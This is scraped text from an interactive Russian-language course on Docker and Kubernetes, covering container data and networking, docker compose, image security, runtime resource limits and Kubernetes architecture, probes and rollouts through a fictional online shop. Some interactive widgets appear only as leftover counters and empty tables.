|---|---|---|
| 0 | процесс завершился сам и успешно | всё хорошо (если только он не должен был работать вечно) |
| 1 | ошибка в приложении: необработанное исключение, не нашёл настройку | журнал приложения: docker logs |
| 125 | Docker не смог даже создать контейнер | опечатка в команде docker run, неверный флаг |
| 126 | команду нашли, но запустить не удалось | нет прав на исполнение файла |
| 127 | команда не найдена | опечатка в CMD, в минимальном образе нет оболочки или утилиты |
| 137 | убит сигналом SIGKILL (128 + 9) | "OOMKilled": true — кончилась память; иначе — не уложился в таймаут остановки или убит вручную |
| 139 | ошибка сегментации, SIGSEGV (128 + 11) | падение в нативном коде, несовместимая библиотека |
| 143 | завершён сигналом SIGTERM (128 + 15) | процесс завершился по SIGTERM: так выходит, например, JVM после своих обработчиков остановки или процесс без обработчика под tini |
- «При получении сигнала SIGTERM сервис в течение 1 секунды перестаёт считаться готовым, прекращает приём новых запросов, завершает текущие и закрывает соединения с базой и брокером. Полная остановка — не дольше 25 секунд».
- «Выкатка новой версии не приводит к потере запросов: доля ошибок 5xx во время выкатки — не выше, чем в обычное время».
глава 9 · данные и сеть где хранить то, что нельзя потерять, и как контейнеры находят друг друга
Данные: контейнер — гостиничный номер
Из главы 4 мы знаем: всё, что контейнер записал к себе, лежит в верхнем слое и исчезает при удалении контейнера. А удаляют их постоянно: каждая выкатка — это новый контейнер из нового образа. Это свойство называют эфемерностью.
Чтобы данные пережили контейнер, их кладут вне его файловой системы. Способов три:
Том (volume)
Хранилище, которым управляет Docker (docker volume create pgdata). Живёт отдельно от контейнеров, подключается к любому. Главный способ для данных баз.
Из жизни: ячейка камеры хранения при гостинице.
Привязка папки (bind mount)
Конкретная папка сервера или ноутбука, «проброшенная» внутрь: -v ./src:/app/src. Удобно в разработке: правите код в редакторе — контейнер сразу видит. В проде привязывает контейнер к конкретной машине.
Из жизни: вы принесли в номер свой чемодан. Он ваш, но только пока вы в этом номере.
tmpfs
Папка в оперативной памяти: --tmpfs /tmp. Очень быстро, на диск ничего не попадает, исчезает при остановке. Для временных файлов и чувствительных данных, которые не должны оказаться на диске.
Из жизни: записи мелом на доске: быстро, но стирается, когда уходите.
Проверьте себя: что переживёт удаление контейнера, а что — нет.
Решено 0 из 0.
База данных в контейнере — можно ли?
Для разработки и тестов — да, и это удобно: свежая база за секунду, одинаковая у всех. Для боевой базы — можно, но осторожно, и чаще выбирают управляемую базу облака или специальный оператор в Kubernetes. Причины:
- Данные привязаны к диску конкретной машины. Контейнер можно перезапустить где угодно за секунду, а 500 ГБ данных — нет.
- Смена тега — не обновление базы. Поменяли
postgres:17наpostgres:18— новая версия не запустится на старых файлах: формат данных между основными версиями PostgreSQL другой, нужна миграция черезpg_upgradeили выгрузку-загрузку. - Официальный образ может поменять путь к данным. Начиная с PostgreSQL 18 официальный образ хранит данные в
/var/lib/postgresql/18/dockerи ждёт том в/var/lib/postgresql. Если по старой привычке подключить том к/var/lib/postgresql/data, база запишется мимо тома и «пропадёт» при пересоздании контейнера. - Резервные копии, репликация, обновления, мониторинг — всё это никуда не делось и в контейнере требует той же работы, что и без него.
docker logs), а платформа отправляет в систему сбора журналов. Файл журнала внутри контейнера растёт в верхнем слое и пропадёт вместе с ним — как раз тогда, когда он нужнее всего, после падения.Сеть: как контейнеры находят друг друга
У каждого контейнера своё пространство имён сети (глава 3): свой адрес, свой localhost, свои порты. Чтобы контейнеры могли говорить друг с другом и с внешним миром, Docker строит виртуальные сети.
172.18.0.5. Контейнеры одной сети видят друг друга; снаружи их не видно, пока вы не опубликуете порт.bridge (своя сеть)
Режим по умолчанию. Для сетей, которые вы создали сами (и для сетей docker compose), работает встроенный DNS: контейнер находит соседа по имени, например db. В самой первой сети по умолчанию (docker0) поиска по имени нет — поэтому для нескольких контейнеров всегда создают свою сеть.
host
Контейнер использует сеть машины напрямую — сетевых шор нет. Чуть быстрее, но порт 3000 занят на всей машине, второй экземпляр не запустится, а изоляция сети пропадает.
none
Сети нет вообще, только localhost. Для задач, которые не должны ходить в сеть: например, обработка файлов.
Публикация порта
-p 8080:3000 — «звонки на городской номер 8080 соединять с внутренним 3000 в контейнере». Слева — порт машины, справа — порт контейнера. -p 127.0.0.1:5432:5432 — открыть только для самой машины, не для всего мира.
db?». В контейнере она видна по адресу 127.0.0.11. Именно поэтому в строке подключения пишут db:5432, а не IP-адрес: адреса меняются при каждом пересоздании, имена — нет.Посмотрите, что происходит, когда каталог подключается к базе по имени:
- В приложении прописано
localhost:5432, а база — в соседнем контейнере. Внутри контейнераlocalhost— это он сам. Нужно имя сервиса:db:5432. -p 5432:5432на сервере в интернете — и база открыта всему миру. Мало того: на Linux Docker сам прописывает правила сетевого экрана, и опубликованный порт может оказаться доступен в обход правил, которые вы настроили в ufw. Публикуйте только то, что должно быть снаружи, и только на нужный адрес.- Инструкция
EXPOSE 3000в Dockerfile ничего не публикует. Это просто пометка «приложение слушает 3000». Открывает порт только-p(илиports:в compose).
глава 10 · стенд весь магазин на ноутбуке одной командой
В команду пришёл новый разработчик Гоша. Раньше новичок два дня ставил себе PostgreSQL, Redis и Kafka по вики и ещё день выяснял, почему у него «не та версия». Теперь Гоша клонирует репозиторий и набирает одну команду: docker compose up. Через 15 секунд у него работает каталог со своей базой, кешем и брокером сообщений.
compose.yaml или docker-compose.yml. Современная команда — docker compose (через пробел); старый отдельный инструмент docker-compose больше не развивается.Нажимайте на строки файла — справа появятся объяснения.
starting; прошла — healthy; упала несколько раз подряд — unhealthy.condition: service_healthy — «не запускать приложение, пока база не станет healthy».Живая модель: поднимите и уроните стенд
Выберите, как описаны зависимости, и нажмите «docker compose up». Потом попробуйте уронить базу, сделать заказ от имени Анны, выключить стенд с томами и без.
$
ECONNREFUSED, и Docker перезапускает его по кругу, пока все не поднимутся. С условием service_healthy приложение спокойно ждёт. А если уронить базу на работающем стенде, depends_on не поможет: он работает только при запуске. Во время работы приложение само должно переживать потерю базы — повторять подключение, отвечать понятной ошибкой (об этом — раздел об устойчивости).- Путают
docker compose downиdown -v. Второй удаляет тома — вместе с тестовыми данными, которые тестировщик готовил неделю. - В compose для разработки стоит
postgres:16, а в проде PostgreSQL 18. Тесты проходят, а в проде запрос падает на поведении, которого в старой версии не было. Версии на стенде должны совпадать с продом (фактор X, следующая глава). - Пароли пишут прямо в
compose.yamlи коммитят в git. Правильно — подставлять из файла.env, которого нет в репозитории, как${DB_PASSWORD}в примере. - Используют compose как боевую платформу для многих машин. Compose — это одна машина: отличен для разработки, тестов и маленьких установок. Для кластера — Kubernetes (следующий раздел).
глава 11 · правила двенадцать факторов: каким должно быть приложение, чтобы жить в контейнере
Контейнер — это только упаковка. Если внутри приложение, которое хранит сессии в памяти, пишет журналы в файл и читает адрес базы из кода, — упаковка не спасёт. В 2011 году инженеры платформы Heroku собрали опыт тысяч приложений в список из двенадцати правил — «Приложение двенадцати факторов» (The Twelve-Factor App). В 2024 году методологию передали сообществу как открытый проект. Правила старше Docker, но подходят к контейнерам идеально.
Нажмите на фактор — раскроется объяснение, аналогия и связь с контейнерами.
Тренажёр: какой фактор нарушен?
Ниже — реальные ситуации из жизни «Ботинка». Определите, какое правило нарушено.
Решено 0 из 0.
глава 12 · безопасность образ, который не стыдно отправить в прод
Служба безопасности прислала Вере отчёт сканера: в образе каталога 412 известных уязвимостей, из них 9 критических. Борис удивился: «Я же написал только сервис каталога!» Но образ — это не только его код. Это ещё операционная система, среда выполнения и сотни библиотек, которые пришли вместе с базовым образом. За всё это теперь отвечает команда.
CVE-2024-21626, и оценка опасности. Сканеры сверяют состав образа с этим каталогом.Найдите дыры в Dockerfile
Этот Dockerfile написал стажёр. Нажимайте на строки, которые считаете проблемой. Каждая строка покажет вердикт: дыра или всё в порядке, и почему. Найдите все дыры.
Найдено 0 из 0.
Семь правил безопасного образа
- «Контейнер сервиса запускается от непривилегированного пользователя, с файловой системой только для чтения; для временных файлов — tmpfs
/tmp». - «Образ не содержит критических и высоких уязвимостей, для которых есть исправление. Проверка сканером — обязательный шаг конвейера; при нарушении сборка останавливается».
- «Для каждого образа формируется SBOM в формате CycloneDX или SPDX и хранится рядом с образом в реестре. Образы подписываются; развёртывание неподписанных образов запрещено».
- «Секреты (пароли, ключи, токены) не хранятся в образе и не передаются через аргументы сборки; сервис получает их при запуске из хранилища секретов».
глава 13 · ресурсы JVM, Node и Go в контейнере: почему «тормозит при 30% процессора»
Сервис корзины «Ботинка» написан на Java. После переезда в контейнер с лимитом в 1 процессор он стал отвечать медленно, хотя график загрузки процессора показывал спокойные 30%. А сервис рекомендаций на Java с лимитом 2 ГБ памяти падал с нехваткой памяти в куче, используя всего 512 МБ. Обе беды — от того, что программа внутри контейнера не всегда понимает, сколько ей на самом деле дали.
Процессор: троттлинг
--cpus=1 означает: «в каждый интервал 100 мс — не больше 100 мс процессорного времени суммарно по всем ядрам». Потратил раньше — жди конца интервала.Вот почему «30% в среднем» не спасает. Приложение с 8 потоками выжигает квоту за первые миллисекунды интервала и дальше стоит. Средняя загрузка низкая, а каждый запрос ждёт. Подберите параметры и посмотрите на интервалы.
Что с этим делают: согласуют число рабочих потоков с лимитом (в Java — -XX:ActiveProcessorCount, пулы потоков по числу выделенных ядер); следят за метрикой троттлинга, а не только за средней загрузкой; ставят лимит с запасом на пики. В Go начиная с версии 1.25 среда выполнения сама читает лимит процессора контейнера и выставляет GOMAXPROCS по нему; в более старых версиях это делали вручную.
Память: куча и всё остальное
Среды выполнения с автоматическим управлением памятью — Java, Node.js, Go — сами решают, сколько памяти брать под кучу. Важно, от чего они считают: от лимита контейнера или от всей памяти сервера.
Java (JVM)
Понимает лимиты контейнера начиная с JDK 10 (перенесено и в 8u191). По умолчанию берёт под кучу только 25% лимита — остальное простаивает. Обычно ставят -XX:MaxRAMPercentage=75, оставляя четверть на всё, что вне кучи: классы, потоки, буферы.
Node.js
Современные версии видят лимит контейнера. По данным Red Hat для Node.js 20+, по умолчанию куча — около половины лимита, но не больше примерно 2 ГБ. Для больших контейнеров задают явно: --max-old-space-size в мегабайтах.
Go
Сборщик мусора по умолчанию ориентируется на рост кучи, а не на лимит. С версии 1.19 есть мягкий предел GOMEMLIMIT: ставят около 90% лимита контейнера, и сборщик начинает работать чаще, подходя к нему.
Подберите лимит контейнера и настройку среды выполнения так, чтобы память не простаивала и не заканчивалась.
- «Экземпляр сервиса корзины работает в пределах 1 процессора и 1 ГиБ памяти при нагрузке 300 запросов в секунду; 99-й перцентиль времени ответа — не более 200 мс. Доля интервалов с троттлингом — не более 5%».
- «Параметры памяти среды выполнения вычисляются от лимита контейнера, а не задаются абсолютными числами» — чтобы при смене лимита не пришлось пересобирать образ.
глава 14 · экосистема кто на самом деле запускает контейнер
Слово «Docker» стало нарицательным, как «ксерокс». Но под капотом команды docker run работает целая цепочка программ, и большинство из них — не Docker. Это полезно знать: Kubernetes, например, Docker давно не использует, а образы из Docker при этом запускает прекрасно.
Кто есть кто
глава 15 · аналитику что меняется в требованиях, когда система живёт в контейнерах
Олег долго считал, что контейнеры — это «дело девопсов». Пока не понял, что половина решений, которые команда принимает про контейнеры, должна быть записана в требованиях: иначе её никто не проверит, а тестировщики не узнают, что проверять.
Что появляется в постановке
1. Среды и продвижение
Какие среды есть (разработка, тест, предрелиз, прод), что между ними одинаково (образ), что различается (настройки). Правило «один образ — все среды, без пересборки».
2. Контракт настроек
Таблица переменных окружения: имя, назначение, обязательность, значение по умолчанию, секрет или нет, пример. Это такой же контракт сервиса с платформой, как API — с клиентами.
3. Здоровье и готовность
Какие адреса проверки есть (живость, готовность), что значит «готов» (подключился к базе, прогрел кеш), сколько времени допустимо до готовности.
4. Остановка и выкатка
Что делает сервис по SIGTERM, за сколько обязан остановиться, допустимы ли потери запросов при выкатке.
5. Ресурсы
Сколько процессора и памяти нужно экземпляру при заданной нагрузке. Это входные данные для расчёта стоимости и масштабирования.
6. Состояние и данные
Сервис не хранит ничего важного у себя: загруженные файлы — в объектном хранилище, сессии — в общем кеше, журналы — в stdout.
Пример контракта настроек каталога — в таком виде его удобно положить в постановку:
| Переменная | Назначение | Обязательна | По умолчанию | Секрет | Пример |
|---|---|---|---|---|---|
PORT | порт, который слушает сервис | нет | 3000 | нет | 3000 |
DATABASE_URL | подключение к PostgreSQL каталога | да | — | да | postgres://catalog:***@db:5432/shop |
REDIS_URL | кеш карточек товаров | да | — | нет | redis://cache:6379 |
KAFKA_BROKERS | брокеры для событий «цена изменилась» | да | — | нет | kafka:9092 |
CACHE_TTL_SEC | сколько секунд живёт карточка в кеше | нет | 300 | нет | 60 |
LOG_LEVEL | подробность журналов | нет | info | нет | debug |
Хорошее требование или нет?
Разложите формулировки. Хорошее требование проверяемо и говорит, что нужно, а не пересказывает инструмент.
Решено 0 из 0.
Частые ошибки аналитика
глава 16 · проверь себя двенадцать вопросов
Вопросы — по всем главам раздела. После ответа появится разбор.
Решено 0 из 0.
Kubernetes — это диспетчерская для контейнеров. Вы не говорите ему «запусти вот это на третьем сервере». Вы говорите, что должно быть: «четыре копии магазина версии 2.0, каждой по половине процессора». Дальше он сам решает, где их поставить, и круглые сутки следит, чтобы так и оставалось: упал контейнер — поднимет, умер сервер — переселит, вышла новая версия — заменит по одной копии без простоя. Весь раздел — одна история: магазин «Ботинок» переезжает от ручной расстановки контейнеров в Kubernetes, а аналитик Олег учится понимать, что из этого следует для требований.
зачем это что даёт Kubernetes и чем за него платят
карта раздела одна история, шестнадцать глав
Главы идут по порядку и опираются друг на друга. Самая важная — пятая: живой кластер, который можно ломать. К нему ведут кнопки из других глав. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка сорок контейнеров на десяти серверах: кто за ними смотрит?
«Ботинок» уже разрезан на двенадцать сервисов: каталог, корзина, оплата, доставка и так далее (как и зачем режут — в разделе про микросервисы). Каждый сервис упакован в контейнер — коробку, в которой лежит программа со всем, что ей нужно для запуска (подробно — в разделе про Docker). Чтобы выдержать нагрузку и пережить поломки, каждый сервис запущен в нескольких копиях. Каталог — в четырёх, корзина и оплата — в трёх. Всего набирается 40 контейнеров на 10 серверах.
Разработчик Борис запускает их руками. Заходит на сервер по SSH, пишет docker run …, записывает в общую таблицу, что где стоит. Адреса соседей прописаны в конфиге балансировщика. Пока серверов два — терпимо. На десяти начинаются вопросы, на которые нет хозяина.
📦 Кто разместит?
На каком из десяти серверов хватит памяти и процессора для нового контейнера? Смотреть глазами каждый раз?
🔁 Кто перезапустит?
Контейнер упал в три часа ночи. Кто заметит и поднимет его снова?
🚚 Кто переселит?
Умер целый сервер, а на нём четыре контейнера. Куда их перенести и кто это сделает?
🚀 Кто обновит?
Вышла новая версия каталога. Как заменить четыре копии так, чтобы покупатели ничего не заметили?
🧭 Кто подскажет адрес?
Корзина хочет позвать оплату. Оплата вчера переехала на другой сервер. Откуда корзине знать новый адрес?
Одна ночь без диспетчера
Пройдите по шагам настоящую ночь «Ботинка» до переезда. Смотрите на схему: что сломалось, кто что делает и сколько это заняло.
Что такое оркестратор
Чего Kubernetes не делает
Не собирает код
Собрать образ, прогнать тесты и отправить образ в хранилище — работа конвейера CI/CD. Kubernetes получает уже готовый образ.
Не чинит архитектуру
Если сервис хранит корзину в памяти, а копий четыре, Kubernetes не сделает её общей. Если сервисы связаны синхронной цепочкой, он не спасёт от каскадного отказа.
Не делает базу надёжной сам
Запустить PostgreSQL в кластере можно. Но реплики, переключение и бэкапы всё равно кто-то должен настроить — человек или специальная программа-оператор (глава 14).
Не бесплатен
Нужны люди, которые его понимают, обновляют и чинят. Для трёх сервисов на двух серверах он чаще мешает, чем помогает (глава 15).
глава 2 · главная идея термостат: вы описываете «что», а не «как»
Прежде чем смотреть на детали, поймём одну мысль. На ней держится весь Kubernetes. Если её понять, остальное — подробности.
Императивно: «сделай вот это»
Команды по шагам: «запусти контейнер на сервере 3», «останови на сервере 5», «запусти ещё два». Если шаг не удался или кто-то потом что-то поменял руками — никто об этом не узнает. Команда выполнилась и забыта.
Декларативно: «должно быть так»
Описание результата: «должно работать 4 копии магазина версии 2.0». Как этого добиться — забота системы. Если через час одна копия упадёт, система сама заметит расхождение и исправит.
spec) — то, что вы заказали. Фактическое состояние (actual state, раздел status) — то, что есть на самом деле прямо сейчас.Покрутите цикл сами
Слева термостат, справа контроллер Kubernetes, который следит за числом копий магазина. Оба работают по одному и тому же циклу. Нажимайте «Шаг цикла» и смотрите, какая фаза подсвечена. Потом устройте беду: откройте окно или уроните под — и снова крутите цикл.
🌡 Термостат
☸ Контроллер Deployment «shop»
Четыре следствия, которые надо запомнить
1. Повторить — безопасно
Применить одно и то же описание второй раз — ничего не изменится: желаемое уже совпадает с фактическим. Это называют идемпотентностью. Поэтому описания можно спокойно применять из конвейера при каждой выкатке.
2. Самоисцеление
Никто не пишет скрипт «если упал под — поднять». Это просто частный случай расхождения, и цикл исправляет его сам, как любое другое.
3. Реакция на состояние, а не на событие
Контроллеру не страшно пропустить сообщение «под упал». На следующем круге он просто увидит, что подов меньше, чем нужно. Так устроен термостат: ему не звонят, когда открывают окно.
4. Ручные правки перезапишут
Если Борис вручную поднимет число копий до шести, а в описании записано четыре, — при следующем применении описания (или сразу, если настроен GitOps, глава 14) их снова станет четыре. Правда — в описании, а не в том, что кто-то сделал руками.
Вот как это выглядит в самом объекте. Kubernetes хранит оба раздела рядом: spec пишете вы, status заполняют контроллеры.
apiVersion: apps/v1 kind: Deployment metadata: name: shop spec: # желаемое — пишет человек (или конвейер) replicas: 4 status: # фактическое — пишут контроллеры replicas: 4 # подов создано readyReplicas: 3 # из них готовы принимать запросы updatedReplicas: 4 # уже на новой версии
kubectl edit или kubectl scale. Правка работает до следующей выкатки, потом молча исчезает — описание в репозитории её не знает. Или наоборот: в кластере живёт то, чего нет ни в одном файле, и никто не может это воспроизвести. Правило: меняем описание в репозитории, а кластер догоняет.глава 3 · устройство мозг и руки: из чего состоит кластер
Кластер делится на две части. Одна думает, другая делает.
Нажмите на любую часть
У каждой части — что она делает, на что похожа и что сломается, если она упадёт. Переключите режим на «💥 Ронять» и уроните одну или несколько частей: справа появится таблица, что продолжит работать. Это главный вопрос, который архитектор задаёт о любой системе.
Плоскость управления (control plane)
Каждый рабочий узел
Дополнения, без которых кластер не живёт
Что продолжит работать
etcd и Raft: почему «мозгов» обычно три
Все описания кластера — каждый Deployment, каждый под, каждый секрет — хранятся в одном месте: в базе etcd. Если etcd потерять без резервной копии, кластер забудет всё, что в нём было. Поэтому etcd запускают в трёх или пяти копиях, а договариваются копии по алгоритму Raft.
3 копии
Кворум — 2. Переживает потерю одной копии. Самый частый вариант.
5 копий
Кворум — 3. Переживает потерю двух. Для крупных кластеров и трёх зон доступности с запасом.
2 или 4 копии
Бессмысленно. Из двух кворум — 2, то есть потеря любой копии останавливает запись. Из четырёх кворум — 3, переживает ту же одну потерю, что и три копии, но дороже.
Как именно копии выбирают лидера и договариваются о записи, подробно разобрано в разделе про консенсус. Здесь важно следствие: если потерян кворум etcd, кластер перестаёт принимать любые изменения. Работающие поды живут, но выкатить, перезапустить, масштабировать нельзя.
глава 4 · кирпичики под, ReplicaSet, Deployment и метки
В Kubernetes всё — объекты: записи в etcd с описанием желаемого. Объектов много видов. Начнём с трёх главных, из которых собран почти любой сервис «Ботинка», и с того, как они находят друг друга.
Под
localhost) и могут делить общие папки-тома.Главное свойство пода — он смертный. Под не лечат и не переносят. Если он умер или его узел умер, контроллер создаёт новый под — с новым именем и новым IP-адресом. Поэтому никогда нельзя полагаться на адрес конкретного пода: для этого есть Service (глава 11).
🧰 Init-контейнеры
Контейнеры-подготовщики. Запускаются по очереди до главного и должны успешно закончиться. Пока они не закончили, главный контейнер не стартует. Примеры: дождаться, пока станет доступна база, скачать файлы, выставить права на папку.
🏍 Sidecar-контейнеры
Помощники, которые живут рядом с главным всё время: прокси сервисной сетки, сборщик логов, программа, обновляющая сертификаты. С версии 1.33 у Kubernetes есть «родные» sidecar-контейнеры: это init-контейнер с restartPolicy: Always. Он стартует раньше главного, живёт вместе с ним и останавливается после него — поэтому логи последних секунд не теряются.
spec:
initContainers:
- name: wait-db # подготовщик: отработал и закончился
image: busybox:1.36
command: ["sh", "-c", "until nc -z db 5432; do sleep 2; done"]
- name: log-shipper # родной sidecar (стабилен с 1.33)
image: fluent/fluent-bit:3.2
restartPolicy: Always # ← вот что делает его sidecar-ом
containers:
- name: shop # главный контейнер
image: registry.botinok.ru/shop:2.0.3
ReplicaSet и Deployment
Метки и селекторы: как объекты находят друг друга
app=shop, version=2.0, env=prod. Селектор (selector) — условие отбора по меткам: «все поды, у которых app=shop».В Kubernetes нет жёстких ссылок «этот Service — вот на эти три пода». ReplicaSet считает «свои» поды по селектору. Service отправляет трафик всем готовым подам, подходящим под его селектор. Это гибко, но опасно: одна опечатка в метке — и связь тихо рвётся. Попробуйте сами: выберите селектор Service и посмотрите, какие поды получат трафик.
🏷 Аннотации
Аннотация (annotation) — тоже пара «ключ = значение», но по ней не отбирают. Это заметки для людей и инструментов: причина изменения, ссылка на задачу, настройки для системы мониторинга или для контроллера входящего трафика. Как бирка «хрупкое, не кантовать» на коробке: грузчик её читает, но коробки по ней не сортирует.
🏢 Пространства имён
Пространство имён (namespace) — логическая «папка» внутри кластера: shop-prod, shop-stage, monitoring. Имена объектов уникальны только внутри своей папки. На папку вешают права доступа, квоты ресурсов и сетевые правила. Как этажи офисного здания: у каждого отдела свой, пропуск выдаётся на этаж.
глава 5 · живой кластер пульт: ломайте, выкатывайте, откатывайте
Это модель настоящего кластера «Ботинка». Три узла, у каждого 4 процессора (CPU) и 8 ГиБ памяти. На них работают два сервиса: shop (магазин — им управляете вы) и catalog (каталог — просто сосед, который тоже занимает место). Каждый под shop просит 1 CPU и 1,5 ГиБ памяти, под catalog — 0,5 CPU и 1 ГиБ.
Внизу — журнал событий, как его показывает команда kubectl get events, и строка «желаемое — фактическое». Кластер начнёт жить, как только вы что-нибудь нажмёте. Можно поставить на паузу и идти по шагам кнопкой «⏭ Шаг».
| LAST SEEN | TYPE | REASON | OBJECT | MESSAGE |
|---|
Что попробовать — по порядку
глава 6 · от YAML до пода манифест построчно и путь kubectl apply
Желаемое состояние записывают в файлы формата YAML — это манифесты. Борис хранит их в репозитории рядом с кодом. Ниже — настоящий манифест магазина: Deployment и Service в одном файле (объекты разделены строкой ---). Щёлкайте по строкам: справа появится объяснение, а связанные строки подсветятся зелёным.
apiVersion (какой версией API описан), kind (что это за объект), metadata (имя, метки) и spec (желаемое).Разобрано строк: 0. Балл засчитывается после десяти.
Что происходит после kubectl apply -f shop.yaml
Борис нажал Enter. Через секунду он видит ответ deployment.apps/shop configured. Но в этот момент ещё ничего не запущено: API-сервер только записал желаемое в etcd. Всё остальное делают контроллеры, каждый своим циклом. Пройдите путь по шагам. У каждого шага есть «если сломается».
🔐 Аутентификация
«Кто ты?» — по сертификату, токену сервисного аккаунта или через вход по OIDC у корпоративного провайдера. Своих учётных записей людей в Kubernetes нет.
🛂 Авторизация (RBAC)
«Можно ли тебе это?» — есть ли у Бориса право менять Deployment в пространстве имён shop-prod. Глава 13.
🧾 Контроль допуска (admission)
«Соответствует ли правилам?» — сначала изменяющие проверки дописывают значения по умолчанию, потом проверяющие отклоняют запрещённое: контейнер от root, образ не из своего хранилища, нет лимитов памяти.
Команды, которые аналитику стоит узнавать в логах и тикетах
| Команда | Что делает |
|---|---|
kubectl apply -f shop.yaml | Отправить желаемое состояние. Повторный запуск безопасен. |
kubectl get pods -n shop-prod | Список подов: готовность (READY), состояние (STATUS), перезапуски (RESTARTS). |
kubectl describe pod shop-7d9f-a1x | Всё про один под, включая события внизу: почему не запустился, почему перезапускается. |
kubectl logs shop-7d9f-a1x --previous | Логи контейнера; с --previous — логи предыдущего, упавшего запуска. |
kubectl get events --sort-by=.lastTimestamp | Журнал событий кластера — тот, что вы видели на пульте. |
kubectl rollout status deployment/shop | Дождаться окончания выкатки или увидеть, что она застряла. |
kubectl rollout undo deployment/shop | Вернуть предыдущую версию шаблона пода. |
глава 7 · планировщик куда поставить под: requests, taints и affinity
На пульте вы видели, что поды садятся на узлы сами. Это работа планировщика (kube-scheduler). Он берёт каждый под без узла и выбирает ему узел в два этапа.
1. Фильтрация (filter)
Отбросить узлы, где под жить не может: не хватает обещанных ресурсов, узел «отталкивает» такие поды, не подходит по правилам размещения, узел закрыт на обслуживание.
2. Оценка (score)
Из оставшихся выбрать лучший: по умолчанию тот, где больше свободного места, где меньше копий того же сервиса и где уже скачан нужный образ. Победитель получает под.
Requests и limits: обещание и потолок
CPU считают в «миллиядрах»: 500m — половина одного ядра, 2 — два ядра. Память — в байтах с суффиксами: 512Mi — 512 мебибайт, 2Gi — 2 гибибайта.
| Класс качества (QoS) | Когда присваивается | Что это значит |
|---|---|---|
| Guaranteed | У каждого контейнера requests = limits и по CPU, и по памяти | Самые защищённые. При нехватке памяти на узле их трогают последними. |
| Burstable | Есть хоть какие-то requests или limits, но не «ровно» | Середина. Могут брать больше запрошенного, пока на узле свободно. |
| BestEffort | Нет ни requests, ни limits | Живут «на удачу». При нехватке памяти на узле их выселяют первыми. |
Taints и tolerations: узел, который отталкивает
Так отделяют дорогие узлы с видеокартами (GPU), узлы для баз данных, узлы плоскости управления. Сам Kubernetes тоже вешает taint-ы: например, на узел, который перестал отвечать, — node.kubernetes.io/unreachable. Именно этот taint через 5 минут выселяет поды с мёртвого узла, который вы видели на пульте.
Affinity и распределение: правила «рядом» и «порознь»
Node affinity
«Ставь меня только на узлы с меткой zone=a» (обязательное правило) или «лучше на узлы с SSD» (пожелание). Притягивает под к узлам.
Pod anti-affinity
«Не ставь две копии shop на один узел». Чтобы смерть одного сервера не унесла сразу половину копий.
Topology spread
«Раскладывай копии по зонам доступности равномерно, разница не больше одной». Мягче и гибче, чем anti-affinity.
Попробуйте: куда сядет под?
Под shop описан справа. Настройте его запросы и правила — таблица покажет, какие узлы отсеяны на фильтрации и почему, как оценены оставшиеся и кто победил. Две задачи: 1) добейтесь, чтобы под не сел никуда, и прочитайте сообщение FailedScheduling; 2) посадите под на GPU-узел node-4 правильно — так, как это делают для подов, которым видеокарта действительно нужна.
глава 8 · пробы три вопроса к поду: жив? готов? уже запустился?
Kubelet на каждом узле периодически «щупает» контейнеры — посылает HTTP-запрос, открывает TCP-соединение, вызывает gRPC-проверку или запускает команду внутри. Это пробы (probes). Их три, и они отвечают на разные вопросы. В разделе про балансировщики мы уже видели эти три вопроса; здесь — как именно их исполняет Kubernetes и почему путаница стоит так дорого.
Настройки по умолчанию: проверка раз в 10 секунд (periodSeconds: 10), ответ ждут 1 секунду (timeoutSeconds: 1), признают провал после 3 неудач подряд (failureThreshold: 3). Значит, liveness замечает зависание примерно за 30 секунд.
Самая дорогая ошибка: liveness смотрит в базу
Борис написал проверку /health «на совесть»: она проверяет, жив ли процесс, и отвечает ли база данных. И повесил её на liveness. Пока база здорова — всё хорошо. Посмотрим, что будет, когда она на минуту затормозит. Четыре пода магазина, одна база. Выберите, что проверяют пробы, включите беды и запустите.
✅ Liveness: только своё
Проверяет, что процесс отвечает: поток обработки не завис, нет взаимной блокировки. Никаких баз, очередей и соседних сервисов. Если зависимость лежит, перезапуск пода её не поднимет.
⚠ Readiness: осторожно с общими зависимостями
Проверяет, готов ли под работать: прогрелся ли кеш, открыт ли пул соединений. Если туда же добавить общую базу, при её сбое все поды одновременно станут неготовыми, и у Service не останется ни одного адреса. Отказ зависимостей лучше обрабатывать в коде: таймаут, размыкатель, деградация.
Как под завершается — и почему теряются запросы
При каждой выкатке, масштабировании вниз и обслуживании узла поды удаляются. Если приложение к этому не готово, часть запросов пропадает — и все считают «пару ошибок на выкатке» нормой. Вот что происходит на самом деле:
sleep: {seconds: 5} работает даже в образах без утилиты sleep; включена по умолчанию с версии 1.30.глава 9 · выкатка и откат как Deployment меняет версию без простоя
Новая версия магазина готова. Борис меняет в манифесте одну строку — тег образа с shop:1.0 на shop:2.0 — и применяет. Deployment видит: шаблон пода изменился. Он создаёт новый ReplicaSet и начинает перекладывать поды из старого в новый. По умолчанию — постепенно.
Калькулятор выкатки
Подберите числа для магазина. Калькулятор посчитает, сколько подов будет готово в худший момент, сколько лишних ресурсов понадобится и примерно сколько займёт выкатка.
Проверьте на пульте
Застряла — что дальше
Deployment ждёт прогресса не вечно. Поле progressDeadlineSeconds (по умолчанию 600 секунд) задаёт срок. Если за это время выкатка не продвинулась, в статусе появится ProgressDeadlineExceeded. Откатывать сам Kubernetes не станет — он лишь честно сообщает «застрял». Решение принимает человек или конвейер: команда kubectl rollout status вернёт ошибку, и конвейер может выполнить kubectl rollout undo.
История версий
Каждый старый ReplicaSet — это сохранённая версия. По умолчанию хранится 10 (revisionHistoryLimit). kubectl rollout history показывает их, а причину изменения берёт из аннотации kubernetes.io/change-cause.
Откат — это та же выкатка
rollout undo просто возвращает старый шаблон пода. Старый ReplicaSet снова становится «новым» и плавно наращивается по тем же правилам maxSurge/maxUnavailable. Мгновенным откат не бывает.
Recreate, blue-green и canary
| Способ | Как делается в Kubernetes | Когда |
|---|---|---|
| RollingUpdate | Встроено в Deployment, стратегия по умолчанию. | Обычные сервисы, где старая и новая версии могут работать одновременно. |
| Recreate | strategy.type: Recreate — сначала удалить все старые поды, потом создать новые. Есть простой. | Две версии не могут жить вместе: единственный писатель в файл, том, который подключается только к одному поду. |
| Blue-green | Два Deployment (blue и green) и Service, у которого меняют селектор с version=blue на version=green. Или инструмент Argo Rollouts. | Нужен мгновенный откат и хватает ресурсов на вторую полную копию. |
| Canary | Грубо — пропорцией подов (1 новый из 10 ≈ 10 % соединений). Точно — весами маршрутов в Gateway API или сервисной сетке. С автоматическим анализом метрик — Argo Rollouts или Flagger. | Рискованные изменения, которые хочется проверить на малой доле пользователей. |
# Canary через Gateway API: 90 % на стабильную версию, 10 % на новую
